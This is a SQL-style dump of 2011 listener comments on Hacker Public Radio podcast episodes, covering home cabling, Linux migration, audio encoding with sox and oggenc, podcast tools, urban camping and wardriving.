(57,625,'2011-04-14 08:35:42','Sigg3','Considering an addendum','I\'m considering to record an addendum to this, as I wired my own home during a major reconstruction; e.g. things to think about when you\'re cabling from the beginning.\r\nI laid Cat 6A and RG-6 in star formation.','2017-09-09 07:41:21'),
(58,625,'2011-04-15 18:35:37','pokey','Cool! I\'d love to hear that.','Sigg3: I mostly work in commercial and industrial spaces. I don\'t do a lot of residential wiring other than my own, and friends. I\'d love to hear what options and factors you considered before starting.\r\n\r\nStar topology is the only one that actually makes any sense for Ethernet cabling. I\'ve never seen or heard of anyone doing it any differently.\r\n\r\nI love to have a ton of extra Ethernet, and RG-6 cabling. Remember with RG-6 to disconnect all of the spares from your feed, and cap all of your unused feeds at your multipliers (or use smaller multipliers with fewer outputs). Otherwise you you\'ll get signal degradation. Only leave connected the ones you\'re actually using.\r\n\r\nI\'m looking forward to hearing your episode.\r\n','2017-09-09 07:41:21'),
(59,625,'2011-05-09 06:23:11','diablomarcus','Would love to hear the followup','First one was really interesting, the second should be awesome too.\r\n\r\nThanks!','2017-09-09 07:41:21'),
(60,626,'2010-12-30 23:05:23','brother mouse','in-pack organization','I have a \"bug out bag\" pack for me and one for my wife.  I find that bagging up gear (particularly tech gear) helps keep them clean and undamaged.  \r\n\r\nI have an old impulse/heat sealer.  I use it with those airfilled cushion things that companies use as packing peanuts.  I cut the bag open on the end, drop the radio/batts/wires/whatever in the bag and reseal it.  Tough, translucent, and free.  ','2017-09-09 07:41:21'),
(61,627,'2010-12-28 20:51:48','klaatu','os_x','Nice episode!  I also went from OS X to Linux, and I very much agree with the \"i don\'t want steal your software because i don\'t believe it\'s worth as much as you think it\'s worth\" thing.   Cool stuff.','2017-09-09 07:41:21'),
(62,627,'2010-12-29 20:47:41','brother mouse','Interesting journey','Interesting ep.  I find I prefer to hear the opinions of people who, in the normal course of conversation, point out the distinction between the l-i-n-k-s and l-y-n-x clients.  :-)\r\n\r\nI am currently exploring my own OS virtualization trollop dark side.  I am unrepentant so far even though there are virtual HD files waist-deep across my actual HD...','2017-09-09 07:41:21'),
(63,627,'2011-01-03 12:53:10','arfab','Good show!','Hey, It was really interesting to hear this journey from the other perspective. It\'s pretty easy to assume that people have come moved from Windows to free software, but for some reason I don\'t imagine many people going from Apple to free software. Thanks for the insight! Oh, and I have an interest in virtualisation too so it was good to hear about that too.\r\n:)','2017-09-09 07:41:21'),
(64,628,'2011-01-19 20:16:06','brother mouse','my process','I had a backchannel email about the process used to record this show.  I\'ll paste my response below.\r\n\r\n===begin, paste=====\r\nrecording:\r\nI use the \"rec\" invocation of sox.  From memory, something like:\r\nrec -r 44100 ${show}-raw.flac\r\nctrl-c to quit recording.\r\n\r\nediting:\r\naudacity\r\nsave edited file as ${show}-edited.flac\r\n\r\nencoding:\r\noggenc, no flags.  Just \"oggenc ${show}-edited.flac\"\r\n\r\nfinal preparation for upload:\r\nogginfo for comment tagging in the ogg container\r\nrename files and .txt as recommended in the README:  https://goo.gl/WEvQO\r\n===end, paste=====','2022-02-14 13:15:29'),
(65,631,'2011-01-07 03:27:16','neddludd','','you should ask the Bastard sons of dialup TV (BSODTV) guy if he wants to make some episodes.','2017-09-09 07:41:21'),
(66,632,'2011-02-05 13:27:21','Nancy','great','Thanks for sharing your strategies for with HPR. I prescribe ADHD meds to kids, but I am always interested in ways that people with ADHD are able to deal with school.  Your strategies are actually good for students without ADHD; it\'s just good basic organizing skills.  I especially like your use of a fountain pen.  I use fountain pens too and it does cut down on my pen spinning.  Refilling the ink makes me more organized too.','2017-09-09 07:41:21'),
(67,634,'2011-01-07 03:15:49','neddludd','wow','controversional opinions! It brings much needed politicization to the geek thinking!\r\n\r\nCould part 6 discuss Squatting ?!\r\n\r\nSpace Invaders - Squat Documentary Part 1 \r\nhttps://www.youtube.com/watch?v=b1LXe4BccGA\r\n\r\nKlaatu have you seen - \"we feed the world\"\r\nhttps://www.we-feed-the-world.at/en/film.htm\r\n\r\nor\r\n\"The Gleaners and I\"\r\nhttps://www.sensesofcinema.com/2002/feature-articles/gleaners/\r\n','2022-02-14 13:15:29'),
(68,634,'2011-01-08 17:14:10','klaatu','Squatting','Ep 6 cannot be on squatting because I\'ve never really been a squatter, at least not in the common meaning of the word goes.  That is to say, I\'ve never been a part of the squatting scene; I\'ve never spent an extended amount of time squatting.  i know the benefits and some of the things you have to look out for whilst squatting -- but only by way of little things I\'ve heard, here and there.  Not from experience, and I don\'t like doing eps on things I have not actually had experience with -- it seems like such a mass media type of thing to do.  So, no squatting eps from me until I\'ve lived it.\r\n\r\nBut, thanks for your comments and thanks for  the links.  The Squat doc sounds really cool, i\'ll check it out.  And no i\'ve not seen \"feed the world\" but that sounds good too.  I\'ll have to look at it.\r\n\r\nps- anyone out there who HAS been a squatter...feel free to do an ep about it!! ','2017-09-09 07:41:21'),
(69,634,'2011-01-12 05:00:37','Anarchocapitalist','Theft','Food and goods are still  scarce goods and stealing is a violation of others property rights even corporations. Therefore is it just and right for me to steal other goods such as a car if my neighbor has two and I have one?   Respect for each other and property is something that holds society together and doesn\'t tear it apart.  checkout Murray rothbard, F A Hayek,  and L von Mises. ','2017-09-09 07:41:21'),
(70,634,'2011-02-01 23:22:06','Bucky','Perhaps an Urban Camping 5a?','Believe it or not, food actually DOES grow on trees!  I don\'t remember hearing anything about actually going out and picking fruit from trees to supplement ones diet.  You may be able to do this legally by asking an old person to pick their fruit for them in exchange for a little fruit for yourself.  Maybe if you\'re lucky and pick apples, you can return for some apple pie later.\r\n\r\nThere are also many edible plant leaves and flowers, such as Viola petals, Nasturtium leaves and flowers, mint, ornamental kale, etc.\r\n\r\nSome listed:  https://whatscookingamerica.net/EdibleFlowers/EdibleFlowersMain.htm\r\n\r\nIn the woods you may find blackberries, wild strawberries, gooseberries, etc.\r\n\r\nJust be sure you know what you are picking before you try and eat something.','2022-02-14 13:15:30'),
(71,635,'2011-01-08 13:55:53','Zeist','They ARE making money','Google IS making money from users of gmail, google reader and the other \"free\" services... microsoft IS making money from hotmail users.\r\n\r\nJust because you don\'t pay them directly doesn\'t mean that they are not making money because you use the service.\r\n\r\nThe whole Web 2.0 business model seems to be to find a way to make money without charging users... and that is how and why the \"free\" services are likely to be around for a very long time.','2017-09-09 07:41:21'),
(72,636,'2011-01-22 21:42:04','BadCam','Enjoyed the show. PuddleTag...','Hi Pokey\r\n\r\nI too have a Sansa Clip+, but I also have a Clip V2, which to be ho, I prefer over the Clip+, purely because of the location of the volume control, earphone connector and that it has a physical Power switch. For me, it\'s just more ergonomically comfortable.\r\n\r\nI am a Podcast and Audiobook addict. In my quest for the perfect method of getting my Podcasts onto my Clip, I have settled upon gPodder as podcatcher and a recent newcomer for MP3 tagging, PuddleTag. I\'ve tried Kid3-Qt, but it just never took my fancy. So , I settled upon EasyTag, but that never had a good method for easily sorting files into my daily listening order. None of these Linux MP3 Taggers did. Until now. PuddleTag has been a revelation. It does everything the others do, plus allows me to rearrange my Podcast listening order, very easily any time I want. \r\n\r\nI don\'t always get a chance to listen to all my downloaded Podcasts throughout the day, and some days there are always a few new ones, that I\'d like to listen to now and just give later track numbers to the existing ones. Reordering tracks in PuddleTag is simplicity in itself. Select the track(s) and press Ctrl-+ or Ctrl-- (You might have to go onto preferences shortcuts to get this set up, depending upon your keyboard).\r\n\r\nAnyway, something worth looking at:\r\n\r\nhttps://puddletag.sourceforge.net/\r\n\r\ngPodder\'s great too as I can sync gPodder between different PC\'s and if you have a network storage device, you can set a link on each PC to a gPodder folder on the storage device and your Podcasts won\'t be duplicated, but you can connect your MP3 player to any machine to get your latest podcasts.\r\n\r\nKind regards\r\n\r\nBadCam','2022-02-14 13:15:30'),
(73,636,'2011-02-14 06:09:22','Buffalo Pete','Very nice!','Thanks for this rundown of kid3! I\'ve been a KDE user for almost four years now, but I\'ve still been using Easytag as my id3 tag editor, so it was nice to hear an introduction to this piece of software. Thanks!','2017-09-09 07:41:21'),
(74,638,'2011-01-19 20:25:30','brother mouse','interesting and controversial','First off, thanks for putting together this string of shows.  I am not in immediate danger of having to go camping but this is great preparedness info.  I practice my camping skills (cooking, shelter building, fire for warmth, washing clothes) in my back yard.  Wife thinks I\'m crazy, but if it ever hits the fan I want to better my chances.  She lost her job so the inspiration is a little clearer in my head these days. \r\n\r\nI agree with you about how living a \"normal\" life really inflates the amount of $$$ one needs.  I have daydreams about living on much less and with much less.  One of those old Chinook microRVs would be neat.  Or an old breadtruck...\r\n\r\nI wouldn\'t feel comfortable begging or misrepresenting my affllliation (ie, greenpeace).  My workaround, perhaps feeble, would be to provide some service (picking up trash in that area?  playing an instrument as you describe?) and putting out a hat for that.  \r\n\r\nI will share that I really DETEST panhandling.  Around my area panhandling is an excuse to get up close and size one up for robbery.   I don\'t mind trashpicking, though.  I have retrieved many useful items from bins.  I always try to leave the area neater, not messed up.  \r\n\r\nI once read a tip about diving for food;  said to make sure you could tell /why/ it was thrown out:  expired, damaged, etc.  If there was no clue to why it was thrown out that experienced camper said pass it by.\r\n\r\n','2017-09-09 07:41:21'),
(75,638,'2011-01-20 13:50:45','skirlet','well done !!','thanks for the show :D\r\ni really like how you break it down like all the things one can do to \"market\" one\'s skill set.  awesome awesome mini-series !!! right on.  jus really good thinkin out of the box ideas. LOVE IT','2017-09-09 07:41:21'),
(76,638,'2011-01-20 13:59:31','klaatu','yup','Thanks for the comment, Brother Mouse.  I agree with what you\'re saying all around.  I really don\'t care for straight up panhandling, although I have to say, it does work in a pinch for a lot of people. \r\n\r\nAs for dumpster diving, I don\'t think it\'s a good idea to literally Dive into Dumpsters for anything.  If it\'s food one is after, it\'s a much better idea to make friends with the employees of the place and just intercept the food before it gets  to the dumpster, and also have that layer of \"Trust me dude, you don\'t want this stuff\" protection.\r\n\r\nOh yeah, and I\'m  really enjoying your episodes too, Brother Mouse!  ','2017-09-09 07:41:21'),
(77,639,'2011-01-14 19:28:09','Tarnus','Haven\'t seen one yet that does that.','I listen to a lot of Podcasts, but I can\'t say I know a single Podcast that set\'s an exact time the show has to run. All of them tend to talk till they are done and rather tend to cut stuff/let stuff out when they feel it goes to long, but I\'ve never seen the opposite.\r\n\r\nAre there really that many podcastmakers around that are so \"detemined\" to do that?\r\n\r\nGreetings,\r\n\r\nTarnus','2017-09-09 07:41:21'),
(78,639,'2011-01-26 22:14:12','sp0rus','','Enjoyed the talk, Droops.  I haven\'t seen too many people doing filler lately, but granted, I did trim down my podcast listening quite a bit.\r\n\r\nI notice it more from the more professionally done shows, where the people have a background in radio, such as the TWiT network and such.\r\n\r\nI do agree that a lot of the simply informative podcasts do need to cut the chitchat. If the purpose is to get a message across or teach something, do it and end it.  I\'ll be thinking about this from now on when I\'m recording something.\r\n\r\nI think the most powerful statement you made was when you talked about every minute you waste is possibly 1000 minutes wasted around the world due to all the people\'s minutes you just wasted.  You said this very well, and I thank you for making the point.','2017-09-09 07:41:21'),
(79,639,'2011-01-31 15:29:29','droops','','Thanks for the replies guys.  I am super guilty of doing this, but hopefully I learn from my mistakes.\r\n\r\nI was listening to a photography podcast with my wife the other day and it just went on and on with silly banter and no actual content.  It was a bit on the extreme side, but I am not the only one. ','2017-09-09 07:41:21'),
(80,642,'2011-01-20 04:28:10','sigflup','','Wow!!! Awesome show!','2017-09-09 07:41:21'),
(81,642,'2011-01-21 01:05:44','quvmoh','','great, now I have to talk the wife into letting me build a chicken tractor!','2017-09-09 07:41:21'),
(82,642,'2011-01-21 02:51:01','smartasstronaut','Another Great Episode','Thanks for another great and informative show. Keep up the good work.  ps My wife is telling me i can\'t have chickens  :-(    ','2017-09-09 07:41:21'),
(83,642,'2011-04-14 08:32:35','Sigg3','Can\'t wait to listen to this..','..me and the missus have been talking about chickents in the garden. Can\'t wait to hear what\'s needed to do so! Thanks!','2017-09-09 07:41:21'),
(84,643,'2011-01-19 20:29:03','brother mouse','many similarities to my playlist','I sync all my \'casts to an android phone rather than an mp3 player proper, but many of these are on my list as well:\r\n\r\nCommon Sense with Dan Carlin \r\nDan Carlins Hardcore History Freakonomics Hacker Public Radio \r\nNPR - Planet Money\r\nNPR - Fresh Air Radiolab \r\n\r\nIf I could only have one podcast (gasp!) I think it would have to be Planet Money.  Astoundingly good.','2017-09-09 07:41:21'),
(85,643,'2011-01-27 15:47:16','NYbill','Thanks!','With all  the driving I do at work I\'m always looking for more podcasts to listen to. I didn\'t know about half of these (I knew NPR stuff, Radiolab, and HPR. But, none of the others.) I pulled in all the Anonymous Audio last night and I\'m listening to them today.  Good stuff. That one is a keeper. I\'ll look into the others as well. Thanks Droops!','2017-09-09 07:41:21'),
(86,643,'2011-01-31 15:31:32','droops','','Did you know that NPR allows you to build queries of their content and get a podcast feed of shows that your feed finds.  It is a great way to find new shows from them.\r\n\r\nhttps://www.npr.org/rss/podcast/podcast_directory.php\r\n\r\n','2022-02-14 13:15:30'),
(87,643,'2011-02-16 20:30:42','Ken Fallon','Upload your OPML feed','Hi Droops,\r\n\r\nCan you upload your OPML please,\r\n\r\nKen.\r\nhttps://en.wikipedia.org/wiki/OPML','2022-02-14 13:15:31'),
(88,643,'2011-02-17 03:35:16','droops','OPML','&#9;droops Podcast Feeds\r\n&#9;Thu, 17 Feb 2011 03:33:10 GMT\r\n&#9;Thu, 17 Feb 2011 03:33:10 GMT\r\n','2017-09-09 07:41:21'),
(89,644,'2011-01-27 00:56:06','Xoke','Nice','I\'ve used unetbootin before but had not heard about plop.  Added it to my list of cool utils and will have to play around with it.\r\n\r\nVery nice first episode!  Keep it up.','2017-09-09 07:41:21'),
(90,644,'2011-01-27 12:17:01','N50','Thanks','Hello Xoke,\r\n\r\nThank you for the support and feedback! I am so glad to see someone got something out of the episode. \r\n\r\nAs mentioned in the episode, there are probably dozens of ways out there to go about doing this, but I have found that this combination works well for me, and it has always \"just worked.\" \r\n\r\nThanks!\r\n\r\n','2017-09-09 07:41:21'),
(91,644,'2011-02-10 17:35:57','Aaronb','Faster installs - great Info','II have been booting distros from thumbdrives for years. I use multboot for some of it. \r\n\r\nBut for installing, your suggestions are great. So much faster. Many times it will fail to install from a CD on older equipment. Where it will be successful from a thumbdrive. This is the type of podcast I like. USEFUL!','2017-09-09 07:41:21'),
(92,644,'2011-02-26 19:29:20','Buffalo Pete','','Great tip and well timed! I\'m rehabilitating an aging machine today and remembered hearing this episode of HPR a few weeks back, so I listened to it again just now and am now ready to install Arch Linux on the machine. Thanks a lot!\r\n\r\n-Buffalo Pete','2017-09-09 07:41:21'),
(93,645,'2011-02-08 18:19:00','pokey','Another great episode','I keep meaning to decrypt your email address puzzle and contact you to chat for a bit. I keep forgetting.\r\n\r\nThis was a very fun show to listen to. I\'m eagerly awaiting the sequel.','2017-09-09 07:41:21'),
(94,645,'2011-02-08 18:29:15','pokey','Figured it out.','hey, you were right. that wasn\'t hard to figure out. I got it on the first try. :D','2017-09-09 07:41:21'),
(95,645,'2011-02-24 19:45:45','Buffalo Pete','A great start!','I really enjoyed this one. As someone who is sort of in the \"tech education\" field, I am always interested to hear about laypeople\'s experiences entering the world of technology. Looking forward to the next installment!\r\n\r\nBest wishes,\r\nPete','2017-09-09 07:41:21'),
(96,646,'2011-01-24 12:41:07','brother mouse','G1 w/no data','This show hasn\'t come up in my podcast rotation yet, but wanted to throw in my 2c.\r\n\r\nI run a TMO prepaid SIM in my G1 (Cyanogenmod 6.1), but use something like 15mins of phone a month.  \r\n\r\nEverything else is wifi, automated with Tasker.  The TMO sim has an advantage that you can get a 24hr data daypass for $1.50 if you find yourself somewhere with no wifi and a desperate need for connectivity.  Happens to me about once every two months or so.  ','2017-09-09 07:41:21'),
(97,646,'2011-02-02 14:51:00','brother mouse','more thoughts while listening','===podcasts\r\nI agree that podcasts are better for information than the normal media.  I like the topic-centric nature of most \'casts.\r\n\r\n===call patterns\r\nCalls from home/work:  I shift \"elective\" calls so I can use a landline.  Time-sensitive calls get made on the cell.  I was originally on Sprint, but was annoyed that I couldn\'t swap phones when I wanted (GSM FTW!) and the smallest package I could get was 300mins/month for $30.  Way, way more than I need.\r\n\r\n===Google voice\r\nwhat is the rationale for using a separate google account?  Not arguing, I just don\'t understand the benefit.\r\n\r\n===salesdroids and no data plan\r\nYes, salescritters will go into apoplexy if you talk about a smartphone w/out dataplan.  It\'s like that movie _Scanners_.\r\n\r\n\r\n===unlocked phones\r\neBay ftw!  Some of my favorite phones:\r\nWindoze:  unlocked HTC dash $50, BB formfactor with great kb and hardkeys.  Unlocked HTC Wizard (MDA) $50 PPC.  Unlocked HTC Typhoon?  SDA candybar, dedicated music buttons. \r\n\r\nAndroid:  an old G1 would be fine, $100.  LG Optimus-series, $150. \r\n\r\n===gps\r\nI wonder if we\'re conflating \"gps\" and \"navigation\" in this episode.  The GPS gets a lock just fine.  Would be faster with the aGPS data-enabled tower lookup, but the GPS proper will work fine with no data.  \r\n\r\nI use maydroyd offline maps (no nav) and geobeagle for waypoint navigation.  I\'m looking at the Copilot site now, but haven\'t figured it all out yet.  I have a newer/better \'droid phone on the way, and may install copilot then.\r\n\r\n\r\n===Links\r\nhttps://www.mapdroyd.com/\r\nhttps://code.google.com/p/geobeagle/','2022-02-14 13:15:31'),
(98,647,'2011-01-27 19:01:34','ClaudioM','No Sound?','Pulled the episode down from gPodder and tried listening in VLC but no audio.  This OS from the ogg feed.  Might want to check the ogg file to make sure it plays fine next time.','2017-09-09 07:41:21'),
(99,647,'2011-01-28 06:53:24','Ken Fallon','I do test the files.','Hi ClaudioM,\r\n\r\nI check each file that I post before and after I post it using mplayer.\r\n$ mplayer https://hackerpublicradio.org/eps/hpr0647.mp3\r\nMPlayer 1.0rc4-4.4.5 (C) 2000-2010 MPlayer Team\r\n...\r\nPlaying https://hackerpublicradio.org/eps/hpr0647.mp3.\r\n...\r\nStarting playback...\r\nA:   4.1 (04.0) of 1628.2 (27:08.2)  0.1% 6% \r\n\r\nI\'ve just downloaded all three versions and they play in mplayer but not in VLC. \r\n\r\nI opened it in audacity and I see that the sample rate is set to 11025. I\'ve fixed it and will have a think about how to prevent this going forward. I\'m fixing them now.\r\n\r\nThanks for the feedback but for issues as urgent as this please email admin over at hpr.\r\n\r\nThanks\r\n\r\nKen.\r\n','2022-02-14 13:15:31'),
(100,647,'2011-01-28 15:53:55','brother mouse','hmmm','Interesting.  The source .wav was 44.1k;  I can confirm the .ogg output from a vanilla \"eggenc source.wav\" style command was indeed 11.025:\r\n\r\nfile brother-mouse_How-I-Got-Into-Linux.ogg\r\nbrother-mouse_How-I-Got-Into-Linux.ogg: Ogg data, Vorbis audio, stereo, 11025 Hz, ~44600 bps, created by: Xiph.Org libVorbis I\r\n\r\nLooks like the default is to get aggressive with filesize based on aural content.  Maybe I\'ll pass flags to oggenc to force 22.05 or 44.1, or use mp3 in the future.  ','2017-09-09 07:41:21'),
(101,647,'2011-02-02 01:03:16','droops','Awesome','I super like these episodes, very interesting story and well told.\r\n\r\nAlso Debian is awseome.','2017-09-09 07:41:21'),
(102,649,'2011-01-31 05:04:34','tlkg','','you pay how much for insurance!? $150 for 6 months!?\r\n\r\nsweet jesus man.. where do you guys live?\r\n\r\nim in New Jersey (highest cost of insurance in the country). i pay at least $200 a MONTH for a 98 Wrangler. and thats minimum coverage. full coverage is pushing $300/month.','2017-09-09 07:41:21'),
(103,649,'2011-02-12 16:02:02','quvmoh','insurance','Idaho and were both in our 40\'s so not so much.','2017-09-09 07:41:21'),
(104,650,'2011-02-02 22:34:23','brother mouse','dived a bit','I found a PC one time;  I gave it the hostname \"catpee\" and it was obvious why they threw it out.  :-P I let it sit in the garage for about 6mos and the smell faded enough so I could stand to get near and clean it.\r\n\r\nMy favorite diving gear, in order of importance:\r\n\r\n1.  a willingness to leave the dumpster area as clean or cleaner than I found it.\r\n\r\n2.  One of those \"handy grabber\" things.  I use a 48\" Nifty Nabber (froogle search --https://goo.gl/Jlg4i ).  I also have a 36\" that I prefer for walking picks.  The 48\" is a little long but perfect for those picks wa-a-a-a-y in the dumpster.\r\n\r\n3.  A rubbermaid bin in my car stocked with:  leather gloves for sharps, latex gloves for stickies.  Messy stuff sits in the tub until I can get home and clean it out.\r\n\r\n4.  air compressor with blower attachment, as you point out.  Blow all that dust and crud out. ','2022-02-14 13:15:32'),
(105,650,'2011-02-08 18:06:54','pokey','bring a flashlight','I\'ll only dive in computer recycle bins. It\'s much cleaner that way. I still consider it unsanitary, and treat it that for safety\'s sake, but its definitely cleaner.\r\n\r\nI record all my HPRs on a mic that I salvaged, plugged into a sound card that I salvaged, in a computer that I salvaged, full of salvaged parts. So I can really relate to this episode. Good one, and thanks.','2017-09-09 07:41:21'),
(106,651,'2011-01-31 16:26:05','Curbuntu','Telephone feedback','Ken,\r\nYou have a great idea in setting up the call-in option for episode submissions.  But there\'s another idea that can ride dial-in\'s coattails -- audio responses to episodes.  Yes, most comments will come via text; but it would be nice to *hear* a few responses in your first-of-month admin episodes.  (Thanks for doing these, BTW.)','2017-09-09 07:41:21'),
(107,651,'2011-01-31 20:46:07','Ken Fallon','Comment Feedback ','Great idea.\r\n\r\nKen.','2017-09-09 07:41:21'),
(108,651,'2011-01-31 23:31:14','Code Cruncher','Competition questions','Ken,\r\n3 questions regarding the competition:\r\n- What\'s the deadline?\r\n- Where do we send designs?\r\n- What format(s)? (probably .ai and some pict eg. jpg)\r\n','2017-09-09 07:41:21'),
(109,651,'2011-02-01 06:29:15','Ken Fallon','Competition Answers','- Enough time to have them ready for oggcamp\r\n- admin at hpr\r\n- jpg and svg and then other formats\r\n\r\nKen.','2017-09-09 07:41:21'),
(110,651,'2011-02-06 00:12:07','brother mouse','LO','Heard the Linux Outlaws plug;  it was a good one!  They spent a good deal of time talking about HPR.\r\n\r\n','2017-09-09 07:41:21'),
(111,651,'2011-02-08 17:57:15','pokey','You called my mom out!?','Haha. When I told her I swear I could hear her blushing over the phone. I think she\'s gonna\' do one too. It should be fun.','2017-09-09 07:41:21'),
(112,652,'2011-02-02 01:01:49','droops','wrong host','please delete this comment\r\n\r\nyou clicked slick0 instead of sp0roius\r\n\r\nsomeone should have built your cms better','2017-09-09 07:41:21'),
(113,652,'2011-02-02 06:18:41','Ken Fallon','corrected','Someone should have learned how to use a drop down box.\r\n\r\nKen','2017-09-09 07:41:21'),
(114,652,'2011-02-02 14:02:23','gerryk','great stuff!','Hi Guys... I listen to the entire gamut of security podcasts, from Security Now to Exotic Liability and I found yours highly enjoyable and informative. I hope you\'re intending on continuing.\r\nNice one!!\r\nGerry','2017-09-09 07:41:21'),
(115,652,'2011-02-03 21:58:46','Frank','','Thank you.  Security is a topic that is usually overlooked until too late.  I look forward to hearing more from you all.','2017-09-09 07:41:21'),
(116,652,'2011-02-05 06:35:05','droops','Great Show','In regards to my earlier comment, I made the crappy cms and I did not want that comment ','2017-09-09 07:41:21'),
(117,652,'2011-02-05 06:35:57','droops','Great Show','In regards to my earlier comment, I made the crappy cms.\r\n\r\nGreat show guys, I hope to hear many more from yall.','2017-09-09 07:41:21'),
(118,653,'2011-02-07 19:44:57','Brandon Garlock','That was a fun little podcast','I thought that was a nice podcast. It was light and I could do other work while listening.','2017-09-09 07:41:21'),
(119,654,'2011-02-03 10:18:03','arfab','Hey','Good show! I like the sound of this and will probably look into building something myself :)','2017-09-09 07:41:21'),
(120,654,'2011-02-04 07:20:32','Ken Fallon','Comments dont suck any more','Good show. \r\n\r\nComments are all approved now so the spammers have gone away.','2017-09-09 07:41:21'),
(121,654,'2011-02-15 04:37:35','M61','Hey Jbu92!','Well you know me as M61 and I know you as Teh Jimbo, but I liked the show for sure. I am currently putting little holes around my house for flash drives. Not kidding. Especially because my mom just up and bought a macbook pro the other day, without telling anyone of the $1000 that she possibly spent. I\'m pretty sure that I can make her pay with a few annoying flash drive traps.','2017-09-09 07:41:21'),
(122,655,'2011-02-09 23:19:33','diablomarcus','Love this series','The first episode was super interesting, and it was nice to hear the series of interesting quotations from a familiar book. The reddit connection is also great :)','2017-09-09 07:41:21'),
(123,656,'2011-02-08 17:38:08','pokey','Great Show!','Great show, thank you. The sound quality was very good, and content was top shelf also. I hope I never need to know all this, but I\'m glad I can if I have to. Thanks for joining \"the club.\" \r\n\r\nI think we spoke in irc before. I\'m glad you joined in, and I hope it was fun enough to do another.','2017-09-09 07:41:21'),
(124,657,'2011-02-08 15:27:01','JBu92','','I definitely agree that screencasts or just straightup video podcasts would make some topics much easier to cover (for instance I\'m working right now on an intro to WireShark, and that\'s the sort of thing that would be much easier to do via a video). Possible limitations would be server costs (videos take up space), format/encoding/size consistency (all of which would be nice), and the fact that this is Hacker Public *Radio* ( SISTERSITE )','2017-09-09 07:41:21'),
(125,657,'2011-02-08 17:52:14','pokey','good show, but...','Now I want to hear one about model rockets.','2017-09-09 07:41:21'),
(126,657,'2011-02-08 19:31:02','Slacker','Response','\r\nThat would be GREAT. I just hope the files are not very large, or large ones can be broken into smaller ones.\r\n\r\n\r\n','2017-09-09 07:41:21'),
(127,657,'2011-02-09 14:46:26','droops','hrmm','Maybe I did not hit all the points I wanted to make.\r\n\r\nGo listen to real NPR, sometimes they say \"go see the video on our website\" that is what we are going to do.\r\n\r\nThere will be no downloading video in the RSS feed, so no need to split files, worry about encoding, bandwidth, storage issues,   Vimeo can take care of all that.\r\n\r\nArchive.org can have all of the videos, if people want to actually download the episodes.','2017-09-09 07:41:21'),
(128,657,'2011-02-12 02:35:05','vdw','Can\'t hurt','I have no objections. Go for it.','2017-09-09 07:41:21'),
(129,657,'2011-02-12 13:08:37','brother mouse','ahhhh','Thanks for the clarification about the vids being referred to rather than actually downloaded in the feed.  That was worrying me. ','2017-09-09 07:41:21'),
(130,657,'2011-02-14 01:29:49','Badcam','I\'m all for it, on one condition...','Please don\'t put any video casts in with the Audio RSS feed. Separate RSS feeds please.','2017-09-09 07:41:21'),
(131,658,'2011-02-12 02:33:22','vdw','a foobar-clone...','...that\'s all Linux needs really and if you disagree then you don\'t know anything about life :-)','2017-09-09 07:41:21'),
(132,658,'2011-02-12 02:36:46','pokey','I\'ve been in need of this for a while.','Thanks for your show. You two are great together. I hope you\'ll be back for more. I\'ve always heard that Amarok was very good, but I\'ve never been able to quite wrap my head around just what it wants me to do. You\'ve given me a good reason to try again, and a good place to start. But I\'m even more excited to try out Guayadeque. It sounds like the almost perfect music player. I\'ve never even heard of it before. I installed it right after hearing your show. I can\'t wait to get a bit of time to try it out. Thanks again for the great episode.','2017-09-09 07:41:21'),
(133,660,'2011-02-11 22:40:35','sigflup','','awesome episode tixter!!!','2017-09-09 07:41:21'),
(134,660,'2011-02-12 02:30:31','pokey','Very good show.','That was a lot of fun to listen to. There was some real cool stuff about old hardware that I never would have known otherwise. Like the Zaxxon thing... I loved that game! When you talked about people timing their moves in Mortal Combat to the frame, it made me think that I\'m sure I\'ve played against some of them. Would you consider doing a series on retro computing, and maybe highlighting one machine or program each episode? That would be epic. Just think how much fun you would have doing prep for each show.','2017-09-09 07:41:21'),
(135,660,'2011-02-18 03:19:26','Trixter','Regular series','Thanks very much for the kind words.  I have toyed with the idea of doing a regular podcast, definitely on retrocomputing, but it would be centered around the subject I know the most about, which would be old PC/DOS machines.  There are some video podcasts that cover this, but not a regular audio one dedicated to the broad hobby itself (the video ones are game-centric), so I think I might actually give it more thought and pursue it.  Thanks again.','2017-09-09 07:41:21'),
(136,660,'2013-04-08 15:47:42','John','Episode 2- An Argument For Emulators','Your stance is of course absolutely sound and I enjoyed listening to this podcast but as someone who loves emulators as much as original hardware it would be great to hear from the other side of the coin. You did go into it briefly but I think you would be very capable of being as equally verbose on the plus points of emulation and software preservation. It wouldn\'t be news to my ears but I\'m sure there are many out there who would value such information in podcast form.','2017-09-09 07:41:21'),
(137,661,'2011-02-21 01:09:07','pokey','I don\'t have a smartphone... yet','I\'ve always been pretty fascinated with war driving. It seems like a really fun thing to do, though I\'ve never understood the point of it. That\'s not to say I wouldn\'t or haven\'t done it, I just don\'t know what use it is. I also like to read the clever names that people give their wireless networks. \r\n\r\nWill the software you\'re using find hidden networks? I remember back around the time I started using Linux (2007ish), Ubuntu would find hidden networks, but that later stopped happening for some reason.\r\n\r\nFor the record and your amusement; my SSID is freddy-n-eddy, even though I don\'t know anyone by either of those names.\r\n\r\nThanks for the show.','2017-09-09 07:41:21'),
(138,661,'2011-02-24 21:13:07','cobra2','point of wardriving','For people like me who have a smart phone and don\'t have a service provider. VoIP is my mode of communication. By mapping out the open AP\'s in my area, I know were I can walk around and still retain something similar to cell service. I also am able to spot the AP\'s with weak protection (WEP, which can be broken in about a min). \r\nIt\'s also just another intresting way to get out of the house and walk around. It gives you a real reason to go down that dead-end street that you would not walk down if you were just going from point A to point B.','2017-09-09 07:41:21'),
(139,663,'2011-02-16 16:36:18','pokey','','WOOT! Another brother mouse episode. Sweet.\r\nThanks, brother mouse.','2017-09-09 07:41:21'),
(140,663,'2011-02-16 20:29:37','Ken Fallon','Upload your OPML feed','Hi BM,\r\n\r\nCan you upload your OPML feed please\r\n\r\nKen.\r\nhttps://en.wikipedia.org/wiki/OPML','2022-02-14 13:15:32'),
(141,663,'2011-02-17 03:17:25','Frank','Old Time Radio','It was nice hearing from another OTR fan.\r\n\r\nI\'m a mystery buff, and this has become one of my favorite OTR sites:\r\n\r\nhttps://www.mysteryshows.com/','2022-02-14 13:15:32'),
